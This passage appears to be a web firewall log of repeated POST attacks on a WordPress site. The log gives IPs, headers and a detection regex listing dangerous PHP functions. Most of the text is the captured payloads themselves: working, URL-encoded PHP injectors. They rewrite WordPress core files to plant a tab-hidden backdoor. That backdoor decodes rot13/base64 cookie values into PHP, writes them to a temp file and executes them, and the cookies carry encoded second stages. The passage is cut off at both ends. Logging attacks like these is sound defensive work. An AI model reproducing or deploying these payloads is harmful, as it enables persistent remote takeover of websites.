0=71\nsec-fetch-site:none\n\ney=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:47","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:4321\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGRjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nLL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:55","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\ncontent-length:4321\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpRVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\npB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:57","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ig:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-length:4321\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnJpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nig=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522